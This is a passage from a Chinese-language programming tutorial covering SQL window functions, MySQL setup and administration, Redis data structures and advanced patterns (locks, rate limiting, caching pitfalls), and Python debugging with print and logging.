ROWS BETWEEN 2 PRECEDING AND CURRENT ROW
) AS moving_avg_3
FROM monthly_revenue;
-- 累计百分比
SELECT name, score,
SUM(score) OVER (ORDER BY score DESC) AS running_sum,
SUM(score) OVER () AS total,
ROUND(SUM(score) OVER (ORDER BY score DESC) * 100.0
/ SUM(score) OVER (), 2) AS cumulative_pct
FROM students;
| 对比 | GROUP BY | 窗口函数 |
|---|---|---|
| 输出行数 | 每组一行 | 保留所有原始行 |
| 适用场景 | 只需要汇总结果 | 需要每行都带聚合值 |
| 典型用途 | 统计各部门人数 | 排名、累计、环比、移动平均 |
WHERE YEAR(date) = 2024)会导致索引失效MySQL 是全球最流行的开源关系型数据库,被广泛应用于 Web 开发、企业应用和数据分析。本章教你从安装 MySQL 到用 Python 连接操作,掌握数据库开发的完整流程。
https://dev.mysql.com/downloads/installer/ 下载 MySQL Installermysql -u root -p 测试# 安装 MySQL
brew install mysql
# 启动 MySQL 服务
brew services start mysql
# 设置 root 密码
mysql_secure_installation
# 登录
mysql -u root -p
# 更新包列表
sudo apt update
# 安装 MySQL
sudo apt install mysql-server
# 启动服务
sudo systemctl start mysql
# 安全配置
sudo mysql_secure_installation
# 登录
sudo mysql -u root -p
-- 登录 MySQL
-- mysql -u root -p
-- 查看所有数据库
SHOW DATABASES;
-- 创建数据库
CREATE DATABASE school;
CREATE DATABASE school DEFAULT CHARSET utf8mb4; -- 支持中文和 emoji
-- 切换数据库
USE school;
-- 查看当前数据库
SELECT DATABASE();
-- 查看所有表
SHOW TABLES;
-- 查看表结构
DESC users;
SHOW CREATE TABLE users; -- 查看建表语句
-- 删除数据库
DROP DATABASE IF EXISTS school;
| 类型 | 字节 | 范围 | 用途 |
|---|---|---|---|
TINYINT | 1 | -128 ~ 127 | 状态码、标志位 |
SMALLINT | 2 | -32768 ~ 32767 | 小整数 |
INT | 4 | -21亿 ~ 21亿 | 常用整数 |
BIGINT | 8 | 极大范围 | 主键、大数值 |
FLOAT | 4 | 单精度 | 科学计算 |
DOUBLE | 8 | 双精度 | 一般浮点数 |
DECIMAL(m,d) | 可变 | 精确 | 金额、价格 |
| 类型 | 最大长度 | 用途 |
|---|---|---|
CHAR(n) | 255 字符 | 固定长度(如手机号 CHAR(11)) |
VARCHAR(n) | 65535 字符 | 可变长度(如姓名、邮箱) |
TEXT | 65535 字节 | 长文本(如文章内容) |
MEDIUMTEXT | 1600 万字节 | 超长文本 |
LONGTEXT | 42 亿字节 | 巨大文本 |
| 类型 | 格式 | 用途 |
|---|---|---|
DATE | YYYY-MM-DD | 生日、日期 |
TIME | HH:MM:SS | 时间 |
DATETIME | YYYY-MM-DD HH:MM:SS | 创建时间、更新时间 |
TIMESTAMP | YYYY-MM-DD HH:MM:SS | 自动更新的时间戳 |
YEAR | YYYY | 年份 |
# 安装:pip install pymysql
import pymysql
# 连接数据库
conn = pymysql.connect(
host='localhost',
port=3306,
user='root',
password='your_password',
database='school',
charset='utf8mb4'
)
cursor = conn.cursor()
# 创建表
cursor.execute("""
CREATE TABLE IF NOT EXISTS students (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) NOT NULL,
age INT,
score DECIMAL(5,2),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
""")
# 插入数据
cursor.execute(
"INSERT INTO students (name, age, score) VALUES (%s, %s, %s)",
('张三', 18, 92.5)
)
conn.commit()
# 批量插入
students = [
('李四', 20, 85.0),
('王五', 19, 78.5),
('赵六', 21, 96.0)
]
cursor.executemany("INSERT INTO students (name, age, score) VALUES (%s, %s, %s)", students)
conn.commit()
# 查询
cursor.execute("SELECT * FROM students WHERE age > %s", (18,))
for row in cursor.fetchall():
print(row)
# 更新
cursor.execute("UPDATE students SET score = %s WHERE name = %s", (95.0, '张三'))
conn.commit()
# 删除
cursor.execute("DELETE FROM students WHERE score < %s", (80,))
conn.commit()
# 关闭
cursor.close()
conn.close()
| 库 | 安装 | 特点 |
|---|---|---|
pymysql | pip install pymysql | 纯 Python 实现,安装简单,性能好 |
mysql-connector-python | pip install mysql-connector-python | 官方驱动,功能更全 |
SQLAlchemy | pip install sqlalchemy pymysql | ORM 框架,支持多种数据库 |
# 安装:pip install dbutils
from dbutils.pooled_db import PooledDB
import pymysql
# 创建连接池
pool = PooledDB(
creator=pymysql,
maxconnections=10, # 最大连接数
mincached=2, # 最小空闲连接
maxcached=5, # 最大空闲连接
blocking=True, # 连接耗尽时是否阻塞等待
host='localhost',
user='root',
password='your_password',
database='school',
charset='utf8mb4'
)
def get_user(user_id):
conn = pool.connection() # 从池中获取连接
try:
cursor = conn.cursor()
cursor.execute("SELECT * FROM students WHERE id = %s", (user_id,))
return cursor.fetchone()
finally:
conn.close() # 归还连接到池中(不是真正关闭)
# 使用
user = get_user(1)
print(user)
CREATE DATABASE 再连接charset='utf8mb4'掌握了 SQL 基础和 Python 连接 MySQL 后,本章深入 MySQL 的高级功能:用户权限管理、视图、存储过程、触发器、以及数据库备份与恢复。这些是生产环境必备的技能。
-- 创建用户
CREATE USER 'dev'@'localhost' IDENTIFIED BY 'password123';
CREATE USER 'dev'@'%' IDENTIFIED BY 'password123'; -- 允许远程连接
-- 授权
GRANT SELECT ON school.* TO 'dev'@'localhost'; -- 只读权限
GRANT SELECT, INSERT, UPDATE ON school.* TO 'dev'@'localhost'; -- 读写权限
GRANT ALL PRIVILEGES ON school.* TO 'admin'@'localhost'; -- 所有权限
-- 刷新权限
FLUSH PRIVILEGES;
-- 查看权限
SHOW GRANTS FOR 'dev'@'localhost';
-- 撤销权限
REVOKE INSERT ON school.* FROM 'dev'@'localhost';
-- 删除用户
DROP USER 'dev'@'localhost';
-- 修改密码
ALTER USER 'dev'@'localhost' IDENTIFIED BY 'new_password';
SELECT, INSERT, UPDATE, DELETE,不要给 DROP、ALTER'user'@'192.168.1.%'-- 创建视图(虚拟表,不存储数据)
CREATE VIEW v_student_scores AS
SELECT
s.name AS student_name,
sc.subject,
sc.score
FROM students s
JOIN scores sc ON s.id = sc.student_id;
-- 使用视图(像普通表一样查询)
SELECT * FROM v_student_scores WHERE score > 90;
-- 修改视图
CREATE OR REPLACE VIEW v_student_scores AS
SELECT
s.name AS student_name,
sc.subject,
sc.score,
CASE
WHEN sc.score >= 90 THEN '优秀'
WHEN sc.score >= 80 THEN '良好'
WHEN sc.score >= 60 THEN '及格'
ELSE '不及格'
END AS grade
FROM students s
JOIN scores sc ON s.id = sc.student_id;
-- 删除视图
DROP VIEW IF EXISTS v_student_scores;
-- 创建存储过程
DELIMITER //
CREATE PROCEDURE sp_get_students_by_age(IN min_age INT)
BEGIN
SELECT * FROM students WHERE age >= min_age;
END //
DELIMITER ;
-- 调用存储过程
CALL sp_get_students_by_age(18);
-- 带输出参数的存储过程
DELIMITER //
CREATE PROCEDURE sp_count_students(
IN min_age INT,
OUT student_count INT
)
BEGIN
SELECT COUNT(*) INTO student_count
FROM students
WHERE age >= min_age;
END //
DELIMITER ;
-- 调用
CALL sp_count_students(18, @count);
SELECT @count; -- 查看结果
-- 删除存储过程
DROP PROCEDURE IF EXISTS sp_get_students_by_age;
-- 创建日志表
CREATE TABLE score_logs (
id INT PRIMARY KEY AUTO_INCREMENT,
student_name VARCHAR(50),
old_score DECIMAL(5,2),
new_score DECIMAL(5,2),
changed_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 创建触发器:成绩更新时自动记录日志
DELIMITER //
CREATE TRIGGER trg_score_update
AFTER UPDATE ON scores
FOR EACH ROW
BEGIN
INSERT INTO score_logs (student_name, old_score, new_score)
VALUES (
(SELECT name FROM students WHERE id = NEW.student_id),
OLD.score,
NEW.score
);
END //
DELIMITER ;
-- 测试:更新成绩,触发器自动记录日志
UPDATE scores SET score = 95 WHERE id = 1;
SELECT * FROM score_logs;
-- 删除触发器
DROP TRIGGER IF EXISTS trg_score_update;
NEW:引用新数据(INSERT 或 UPDATE 后的值)OLD:引用旧数据(UPDATE 前或 DELETE 前的值)# 备份单个数据库
mysqldump -u root -p school > school_backup.sql
# 备份多个数据库
mysqldump -u root -p --databases school test > backup.sql
# 备份所有数据库
mysqldump -u root -p --all-databases > all_backup.sql
# 只备份表结构(不含数据)
mysqldump -u root -p --no-data school > school_structure.sql
# 只备份数据(不含结构)
mysqldump -u root -p --no-create-info school > school_data.sql
# 压缩备份
mysqldump -u root -p school | gzip > school_backup.sql.gz
# 恢复数据库
mysql -u root -p school < school_backup.sql
# 恢复压缩备份
gunzip < school_backup.sql.gz | mysql -u root -p school
# 在 MySQL 命令行中恢复
# mysql> USE school;
# mysql> SOURCE /path/to/school_backup.sql;
import subprocess
import datetime
import os
def backup_mysql():
# 备份配置
host = 'localhost'
user = 'root'
password = 'your_password'
database = 'school'
backup_dir = './backups'
# 创建备份目录
os.makedirs(backup_dir, exist_ok=True)
# 生成备份文件名
timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
filename = f"{database}_{timestamp}.sql"
filepath = os.path.join(backup_dir, filename)
# 执行备份
cmd = f"mysqldump -h {host} -u {user} -p{password} {database} > {filepath}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.returncode == 0:
print(f"备份成功:{filepath}")
# 清理 7 天前的备份
cleanup_old_backups(backup_dir, days=7)
else:
print(f"备份失败:{result.stderr}")
def cleanup_old_backups(backup_dir, days=7):
"""删除指定天数前的备份文件"""
now = datetime.datetime.now()
for filename in os.listdir(backup_dir):
filepath = os.path.join(backup_dir, filename)
file_time = datetime.datetime.fromtimestamp(os.path.getmtime(filepath))
if (now - file_time).days > days:
os.remove(filepath)
print(f"已删除旧备份:{filename}")
if __name__ == "__main__":
backup_mysql()
# my.cnf / my.ini 配置文件
[mysqld]
# 基础配置
port = 3306
max_connections = 200 # 最大连接数
wait_timeout = 28800 # 空闲连接超时(秒)
# InnoDB 配置
innodb_buffer_pool_size = 1G # 缓冲池大小(建议设为物理内存的 70%)
innodb_log_file_size = 256M # 日志文件大小
innodb_flush_log_at_trx_commit = 1 # 1=每次提交刷盘(最安全)
# 查询缓存(MySQL 8.0 已移除)
# query_cache_type = 1
# query_cache_size = 64M
# 慢查询日志
slow_query_log = 1
slow_query_log_file = /var/log/mysql/slow.log
long_query_time = 2 # 超过 2 秒的查询记录到慢日志
Redis 是当今最流行的内存数据库,被广泛用于缓存、会话管理、排行榜、消息队列等场景。它比 MySQL 快 100 倍(因为数据在内存中),支持丰富的数据结构(字符串、哈希、列表、集合、有序集合)。本章从零开始教你 Redis 的安装、基本操作和 Python 连接使用。
如果 MySQL 是图书馆的书架(数据存在硬盘上,查找需要时间),那 Redis 就是你桌上的便签纸(数据存在内存中,随手就能拿到)。便签纸虽然容量小,但速度快啊!Redis 就是用来存放那些"经常要用、但丢了也没关系"的数据。
# Windows 官方不支持 Redis,推荐用以下方式:
# 方式一:使用 Memurai(Redis 的 Windows 替代品)
# 下载:https://www.memurai.com/get-memurai
# 方式二:使用 WSL2(推荐)
wsl --install
# 在 WSL 中安装 Redis
sudo apt update
sudo apt install redis-server
sudo service redis-server start
# 方式三:使用 Docker
docker run -d --name redis -p 6379:6379 redis:latest
# 使用 Homebrew
brew install redis
# 启动 Redis
brew services start redis
# 或者前台运行
redis-server
# 测试连接
redis-cli ping # 返回 PONG 表示成功
# 安装
sudo apt update
sudo apt install redis-server
# 启动服务
sudo systemctl start redis
sudo systemctl enable redis # 开机自启
# 测试连接
redis-cli ping # 返回 PONG
# 连接 Redis
redis-cli
# ===== 数据库操作 =====
SELECT 0 # 切换到数据库 0(默认有 16 个数据库,编号 0-15)
SELECT 1 # 切换到数据库 1
DBSIZE # 当前数据库的 key 数量
KEYS * # 查看所有 key(生产环境慎用!)
FLUSHDB # 清空当前数据库
FLUSHALL # 清空所有数据库(极度危险!)
# ===== 基本操作 =====
SET name "张三" # 设置 key-value
GET name # 获取 value → "张三"
SETNX name "李四" # 仅当 key 不存在时设置(分布式锁常用)
SETEX token 3600 "abc123" # 设置并指定过期时间(秒)
MSET k1 "v1" k2 "v2" k3 "v3" # 批量设置
MGET k1 k2 k3 # 批量获取
# ===== 数值操作 =====
SET counter 100
INCR counter # +1 → 101
DECR counter # -1 → 100
INCRBY counter 10 # +10 → 110
DECRBY counter 5 # -5 → 105
APPEND name "你好" # 追加字符串
STRLEN name # 字符串长度
# ===== 过期时间 =====
EXPIRE name 60 # 设置 60 秒后过期
TTL name # 查看剩余过期时间(-1=永不过期,-2=已过期)
PERSIST name # 移除过期时间
# ===== 实际应用 =====
# 1. 缓存用户信息
SET user:1001 '{"name":"张三","age":18}' EX 3600 # 缓存1小时
# 2. 验证码(5分钟过期)
SET sms:13800138000 "123456" EX 300
# 3. 计数器
INCR article:1001:views # 文章浏览数 +1
# 4. 分布式锁
SETNX lock:order:1001 "locked" # 获取锁
# 用完后删除
DEL lock:order:1001
# ===== 基本操作 =====
HSET user:1001 name "张三" age 18 email "zhangsan@email.com" # 设置多个字段
HGET user:1001 name # 获取单个字段 → "张三"
HMGET user:1001 name age # 获取多个字段
HGETALL user:1001 # 获取所有字段和值
HDEL user:1001 email # 删除字段
HEXISTS user:1001 name # 判断字段是否存在
HLEN user:1001 # 字段数量
# ===== 数值操作 =====
HINCRBY user:1001 age 1 # age +1 → 19
# ===== 实际应用 =====
# 1. 存储用户信息(比 String JSON 更灵活,可以单独修改某个字段)
HSET user:1001 name "张三" age 18
HSET user:1001 age 19 # 只修改 age,不影响其他字段
# 2. 存储商品信息
HSET product:1001 name "iPhone 15" price 7999 stock 100
HINCRBY product:1001 stock -1 # 库存 -1
# 3. 购物车
HSET cart:user:1001 product:1001 2 # 商品1001 数量2
HSET cart:user:1001 product:1002 1 # 商品1002 数量1
HGETALL cart:user:1001 # 查看购物车
HINCRBY cart:user:1001 product:1001 1 # 商品1001 数量+1
HDEL cart:user:1001 product:1002 # 删除商品1002
# ===== 基本操作 =====
LPUSH queue "task1" "task2" "task3" # 从左边插入
RPUSH queue "task4" # 从右边插入
LPOP queue # 从左边弹出 → "task3"
RPOP queue # 从右边弹出 → "task4"
LLEN queue # 列表长度
LRANGE queue 0 -1 # 获取所有元素
LRANGE queue 0 2 # 获取前3个元素
LINDEX queue 0 # 获取指定索引的元素
# ===== 阻塞操作(消息队列常用)=====
BLPOP queue 30 # 从左边弹出,如果没有元素则阻塞等待30秒
BRPOP queue 30 # 从右边弹出,阻塞等待
# ===== 实际应用 =====
# 1. 消息队列
LPUSH mq:order '{"order_id":1001,"amount":99.9}' # 生产者
BRPOP mq:order 0 # 消费者(0=永久阻塞)
# 2. 最新消息列表(只保留最近100条)
LPUSH latest:news '{"title":"新闻1"}'
LTRIM latest:news 0 99 # 只保留前100条
# 3. 任务队列
LPUSH tasks '{"type":"send_email","to":"user@email.com"}'
LPUSH tasks '{"type":"generate_report","user_id":1001}'
# Worker 消费
while True:
task = BRPOP tasks, 0 # 阻塞等待任务
process(task)
# ===== 基本操作 =====
SADD tags "python" "redis" "mysql" # 添加元素
SMEMBERS tags # 获取所有元素
SISMEMBER tags "python" # 判断是否存在 → 1
SCARD tags # 元素数量
SREM tags "mysql" # 删除元素
SRANDMEMBER tags 2 # 随机获取2个元素
# ===== 集合运算 =====
SADD user:1001:friends "A" "B" "C" "D"
SADD user:1002:friends "B" "C" "E" "F"
SINTER user:1001:friends user:1002:friends # 交集 → B, C(共同好友)
SUNION user:1001:friends user:1002:friends # 并集 → A,B,C,D,E,F
SDIFF user:1001:friends user:1002:friends # 差集 → A, D(你有他没有的)
# ===== 实际应用 =====
# 1. 标签系统
SADD article:1001:tags "python" "redis" "tutorial"
SADD article:1002:tags "python" "mysql" "beginner"
SINTER article:1001:tags article:1002:tags # 共同标签
# 2. 共同好友
SADD user:1001:following "A" "B" "C"
SADD user:1002:following "B" "C" "D"
SINTER user:1001:following user:1002:following # 共同关注
# 3. 抽奖系统
SADD lottery:2024 "user1" "user2" "user3" "user4" "user5"
SRANDMEMBER lottery:2024 1 # 随机抽1个(不删除)
SPOP lottery:2024 1 # 随机抽1个(删除,不能重复中奖)
# 4. 去重(已读消息)
SADD user:1001:read "msg:101" "msg:102"
SISMEMBER user:1001:read "msg:103" # 判断是否已读
# ===== 基本操作 =====
ZADD leaderboard 100 "张三" 85 "李四" 92 "王五" 78 "赵六" # 添加带分数的元素
ZRANGE leaderboard 0 -1 WITHSCORES # 按分数升序
ZREVRANGE leaderboard 0 2 WITHSCORES # 按分数降序,前3名
ZSCORE leaderboard "张三" # 获取分数 → 100
ZRANK leaderboard "张三" # 排名(升序)→ 0
ZREVRANK leaderboard "张三" # 排名(降序)→ 0
ZCARD leaderboard # 元素数量
ZINCRBY leaderboard 5 "李四" # 分数 +5
# ===== 范围查询 =====
ZREVRANGE leaderboard 0 2 WITHSCORES # 前3名(降序)
ZRANGEBYSCORE leaderboard 80 100 # 分数在80-100之间的
ZREMRANGEBYSCORE leaderboard 0 60 # 删除分数60以下的
# ===== 实际应用 =====
# 1. 排行榜
ZADD rank:game:2024 1500 "player1" 1200 "player2" 1800 "player3"
ZREVRANGE rank:game:2024 0 9 WITHSCORES # 前10名
# 2. 延迟队列(score 为执行时间戳)
ZADD delay:queue 1704067200 '{"task":"send_email","data":{}}'
# 获取到期任务
ZRANGEBYSCORE delay:queue 0 当前时间戳
# 3. 滑动窗口限流
# 记录请求时间戳
ZADD rate:user:1001 当前时间戳 "请求ID"
# 统计1分钟内的请求数
ZREMRANGEBYSCORE rate:user:1001 0 (当前时间戳-60)
ZCARD rate:user:1001
# 如果超过100次则拒绝
# 安装:pip install redis
import redis
# 连接 Redis
r = redis.Redis(
host='localhost',
port=6379,
db=0,
password=None, # 如果有密码
decode_responses=True # 自动解码为字符串
)
# ===== String 操作 =====
r.set('name', '张三')
print(r.get('name')) # 张三
r.set('counter', 100)
r.incr('counter') # 101
r.setex('token', 3600, 'abc123') # 1小时过期
# ===== Hash 操作 =====
r.hset('user:1001', mapping={'name': '张三', 'age': 18})
print(r.hget('user:1001', 'name')) # 张三
print(r.hgetall('user:1001')) # {'name': '张三', 'age': '18'}
r.hincrby('user:1001', 'age', 1) # age +1
# ===== List 操作 =====
r.lpush('queue', 'task1', 'task2', 'task3')
r.rpush('queue', 'task4')
print(r.lpop('queue')) # task3
print(r.lrange('queue', 0, -1)) # 所有元素
# ===== Set 操作 =====
r.sadd('tags', 'python', 'redis', 'mysql')
print(r.smembers('tags')) # {'python', 'redis', 'mysql'}
print(r.sismember('tags', 'python')) # True
# ===== Sorted Set 操作 =====
r.zadd('leaderboard', {'张三': 100, '李四': 85, '王五': 92})
print(r.zrevrange('leaderboard', 0, 2, withscores=True)) # 前3名
r.zincrby('leaderboard', 5, '李四') # 李四 +5
# ===== 过期时间 =====
r.expire('name', 60) # 60秒后过期
r.ttl('name') # 剩余秒数
r.persist('name') # 移除过期
# ===== 删除 =====
r.delete('name') # 删除 key
# ===== 管道(批量操作,减少网络往返)=====
pipe = r.pipeline()
for i in range(1000):
pipe.set(f'key:{i}', f'value:{i}')
pipe.execute() # 一次性执行所有命令
| 类型 | 特点 | 典型场景 |
|---|---|---|
String | 最简单,可以存字符串/数字/JSON | 缓存、计数器、验证码 |
Hash | 类似字典,可以单独修改字段 | 用户信息、商品信息 |
List | 有序、可重复、支持阻塞 | 消息队列、最新消息 |
Set | 无序、去重、支持交并差集 | 标签、好友关系、去重 |
Sorted Set | 有序、去重、带分数 | 排行榜、延迟队列 |
user:1001、product:1001,方便管理和查找上一章学了 Redis 的基本数据类型和操作,本章深入 Redis 的高级特性:发布订阅、Lua 脚本、事务、持久化、主从复制、哨兵模式、以及实际项目中的应用场景(缓存穿透/击穿/雪崩、分布式锁、限流)。这些是后端面试和生产环境的核心考点。
import redis
import threading
import time
# 订阅者
def subscriber():
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
pubsub = r.pubsub()
pubsub.subscribe('news', 'alerts') # 订阅频道
print("订阅者启动,等待消息...")
for message in pubsub.listen():
if message['type'] == 'message':
print(f"收到消息:[{message['channel']}] {message['data']}")
# 发布者
def publisher():
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
time.sleep(1) # 等待订阅者就绪
r.publish('news', '今日新闻:Python 4.0 发布!')
r.publish('alerts', '系统警告:服务器过载!')
# 启动
t1 = threading.Thread(target=subscriber, daemon=True)
t1.start()
publisher()
time.sleep(1)
import redis
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
# 事务:多个命令要么全部执行,要么全部不执行
pipe = r.pipeline()
pipe.multi() # 开始事务
pipe.set('account:A', 1000) # A 账户 1000 元
pipe.set('account:B', 500) # B 账户 500 元
pipe.decrby('account:A', 200) # A 转出 200
pipe.incrby('account:B', 200) # B 转入 200
results = pipe.execute() # 执行事务
print(r.get('account:A')) # 800
print(r.get('account:B')) # 700
# WATCH 乐观锁(防止并发修改)
r.set('stock', 10)
pipe = r.pipeline()
pipe.watch('stock') # 监视 stock
stock = int(r.get('stock'))
if stock > 0:
pipe.multi()
pipe.decr('stock')
try:
pipe.execute()
print("购买成功")
except redis.WatchError:
print("库存已被其他用户修改,购买失败")
else:
print("库存不足")
import redis
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
# Lua 脚本:原子性的 "检查并设置"
lua_script = """
local current = redis.call('GET', KEYS[1])
if current == ARGV[1] then
redis.call('SET', KEYS[1], ARGV[2])
return 1
else
return 0
end
"""
# 注册脚本
check_and_set = r.register_script(lua_script)
# 使用:只有当 name 的值是 "张三" 时,才改成 "李四"
r.set('name', '张三')
result = check_and_set(keys=['name'], args=['张三', '李四'])
print(result) # 1(成功)
print(r.get('name')) # 李四
# Lua 脚本实现分布式锁
lock_script = """
if redis.call('SET', KEYS[1], ARGV[1], 'NX', 'EX', ARGV[2]) then
return 1
else
return 0
end
"""
unlock_script = """
if redis.call('GET', KEYS[1]) == ARGV[1] then
return redis.call('DEL', KEYS[1])
else
return 0
end
"""
acquire_lock = r.register_script(lock_script)
release_lock = r.register_script(unlock_script)
# redis.conf 配置
# ===== RDB 配置 =====
save 900 1 # 900秒内至少1个key变化,触发快照
save 300 10 # 300秒内至少10个key变化
save 60 10000 # 60秒内至少10000个key变化
dbfilename dump.rdb
dir /var/lib/redis
# ===== AOF 配置 =====
appendonly yes
appendfilename "appendonly.aof"
appendfsync everysec # 每秒同步一次(推荐)
# appendfsync always # 每次写都同步(最安全,最慢)
# appendfsync no # 由操作系统决定(最快,最不安全)
# AOF 重写
auto-aof-rewrite-percentage 100 # AOF 文件增长100%时触发重写
auto-aof-rewrite-min-size 64mb # AOF 文件最小64mb才重写
# ===== 主从复制 =====
# 从节点配置(redis.conf)
replicaof 192.168.1.100 6379 # 主节点 IP 和端口
masterauth your_password # 主节点密码
# 查看复制状态
INFO replication
# ===== 哨兵模式(自动故障转移)=====
# sentinel.conf
sentinel monitor mymaster 192.168.1.100 6379 2 # 监控主节点,2个哨兵同意才故障转移
sentinel down-after-milliseconds mymaster 5000 # 5秒无响应认为主观下线
sentinel failover-timeout mymaster 60000 # 故障转移超时60秒
sentinel auth-pass mymaster your_password
# 启动哨兵
redis-sentinel /path/to/sentinel.conf
查询一个数据库中不存在的数据,缓存永远不命中,每次都打到数据库。
# 解决方案1:缓存空值
def get_user(user_id):
# 先查缓存
cache_key = f"user:{user_id}"
cached = redis.get(cache_key)
if cached == "NULL": # 缓存了空值
return None
if cached:
return json.loads(cached)
# 查数据库
user = db.query_user(user_id)
if user:
redis.setex(cache_key, 3600, json.dumps(user))
else:
redis.setex(cache_key, 300, "NULL") # 缓存空值,5分钟过期
return user
# 解决方案2:布隆过滤器
# pip install pybloom-live
from pybloom_live import BloomFilter
bf = BloomFilter(capacity=1000000, error_rate=0.001)
# 初始化:把所有存在的ID加入布隆过滤器
for user_id in db.get_all_user_ids():
bf.add(user_id)
def get_user(user_id):
if user_id not in bf: # 布隆过滤器说不存在,一定不存在
return None
return db.query_user(user_id) # 可能存在(有极小误判率)
某个热点key(如秒杀商品)过期的瞬间,大量请求同时打到数据库。
import threading
lock = threading.Lock()
def get_hot_product(product_id):
cache_key = f"product:{product_id}"
cached = redis.get(cache_key)
if cached:
return json.loads(cached)
# 互斥锁:只让一个请求去查数据库
if lock.acquire(blocking=False):
try:
# 双重检查
cached = redis.get(cache_key)
if cached:
return json.loads(cached)
# 查数据库
product = db.query_product(product_id)
redis.setex(cache_key, 3600, json.dumps(product))
return product
finally:
lock.release()
else:
# 其他请求等待后重试
time.sleep(0.1)
return get_hot_product(product_id)
大量缓存在同一时间失效,请求全部打到数据库。
import random
# 解决方案:过期时间加随机值
def set_cache_with_jitter(key, value, base_ttl=3600):
jitter = random.randint(0, 300) # 0-300秒随机
redis.setex(key, base_ttl + jitter, json.dumps(value))
# 解决方案:缓存预热(提前加载热点数据)
def warm_up_cache():
hot_products = db.get_hot_products(limit=100)
for product in hot_products:
set_cache_with_jitter(f"product:{product['id']}", product)
# 解决方案:多级缓存(本地缓存 + Redis)
from functools import lru_cache
@lru_cache(maxsize=1000)
def get_user_local(user_id):
return get_user_redis(user_id) # 先查本地,再查Redis,最后查数据库
import redis
import uuid
import time
class RedisLock:
def __init__(self, redis_client, key, expire=10):
self.redis = redis_client
self.key = f"lock:{key}"
self.expire = expire
self.value = str(uuid.uuid4()) # 唯一标识,防止误删
def acquire(self, timeout=10):
"""获取锁"""
end_time = time.time() + timeout
while time.time() < end_time:
if self.redis.set(self.key, self.value, nx=True, ex=self.expire):
return True
time.sleep(0.01)
return False
def release(self):
"""释放锁(只能释放自己加的锁)"""
# Lua 脚本保证原子性
lua = """
if redis.call('GET', KEYS[1]) == ARGV[1] then
return redis.call('DEL', KEYS[1])
else
return 0
end
"""
self.redis.eval(lua, 1, self.key, self.value)
def __enter__(self):
self.acquire()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.release()
# 使用
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
with RedisLock(r, "order:1001") as lock:
# 执行需要加锁的操作
print("正在处理订单...")
time.sleep(1)
import redis
import time
class RedisRateLimiter:
def __init__(self, redis_client, key, max_requests, window_seconds):
self.redis = redis_client
self.key = f"rate:{key}"
self.max_requests = max_requests
self.window = window_seconds
def is_allowed(self):
"""检查是否允许请求"""
now = time.time()
window_start = now - self.window
pipe = self.redis.pipeline()
# 移除窗口外的请求
pipe.zremrangebyscore(self.key, 0, window_start)
# 统计窗口内的请求数
pipe.zcard(self.key)
# 添加当前请求
pipe.zadd(self.key, {str(now): now})
# 设置过期时间
pipe.expire(self.key, self.window)
results = pipe.execute()
request_count = results[1]
return request_count < self.max_requests
# 使用:每分钟最多100次请求
r = redis.Redis(host='localhost', port=6379, decode_responses=True)
limiter = RedisRateLimiter(r, "user:1001", max_requests=100, window_seconds=60)
for i in range(105):
if limiter.is_allowed():
print(f"请求 {i+1}: 允许")
else:
print(f"请求 {i+1}: 被限流")
break
import redis
# 创建连接池
pool = redis.ConnectionPool(
host='localhost',
port=6379,
db=0,
password=None,
max_connections=20, # 最大连接数
decode_responses=True,
socket_timeout=5, # 读写超时
socket_connect_timeout=2, # 连接超时
retry_on_timeout=True # 超时重试
)
# 从池中获取连接
r = redis.Redis(connection_pool=pool)
# 或者直接用 from_url
r = redis.Redis.from_url(
'redis://:password@localhost:6379/0',
max_connections=20,
decode_responses=True
)
requirepass your_passwordbind 127.0.0.1,不要暴露到公网rename-command FLUSHALL ""maxmemory 2gb,避免吃光内存maxmemory-policy allkeys-lruappendonly yes,数据更安全调试是每个程序员必须掌握的技能。代码写得再好,也难免有 bug。本章会教你从最简单的 print 调试到专业的调试工具(pdb、cProfile、tracemalloc),让你能快速定位和解决问题。
# 最简单的调试方法:在关键位置 print
def calculate(data):
print(f"DEBUG: data = {data}") # 看看数据长什么样
result = sum(data) / len(data)
print(f"DEBUG: result = {result}") # 看看结果对不对
return result
# f-string 的 = 号(Python 3.8+)——调试神器
x = 42
y = 10
print(f"{x=}, {y=}") # x=42, y=10
# 更多 = 号用法
name = "Alice"
items = [1, 2, 3]
print(f"{name=}, {len(items)=}, {sum(items)=}") # name='Alice', len(items)=3, sum(items)=6
logging 模块代替print 调试虽然简单,但有几个致命问题:无法控制输出级别、无法输出到文件、无法关闭。logging 模块解决了所有这些问题:
import logging
# 基本配置
logging.basicConfig(
level=logging.DEBUG, # 最低显示级别
format="%(asctime)s [%(levelname)s] %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
)
# 5 个日志级别(从低到高)
logging.debug("调试信息——变量值、中间结果") # 10
logging.info("一般信息——程序运行状态") # 20
logging.warning("警告——不影响运行但需要注意") # 30
logging.error("错误——某个功能失败了") # 40
logging.critical("严重错误——程序可能崩溃") # 50
# 实际调试场景:追踪数据处理流程
import logging
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s %(message)s")
def process_order(order):
logging.debug(f"收到订单:{order}")
if not order.get("items"):
logging.error(f"订单缺少商品:{order['id']}")
return None
total = sum(item["price"] * item["qty"] for item in order["items"])
logging.info(f"订单 {order['id']} 总价:{total}")
if total > 10000:
logging.warning(f"大额订单!{order['id']} 金额 {total},需要审核")
return {"id": order["id"], "total": total}
# 同时输出到控制台和文件
import logging
logger = logging.getLogger("myapp")
logger.setLevel(logging.DEBUG)
# 控制台处理器——只显示 INFO 及以上
console = logging.StreamHandler()
console.setLevel(logging.INFO)
console.setFormatter(logging.Formatter("%(levelname)s: %(message)s"))
# 文件处理器——记录所有级别
file_handler = logging.FileHandler("app.log", encoding="utf-8")
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
logger.addHandler(console)
logger.addHandler(file_handler)
logger.debug("这条只出现在文件中")
logger.info("这条出现在控制台和文件中")
logger.error("这条也会出现在两处")
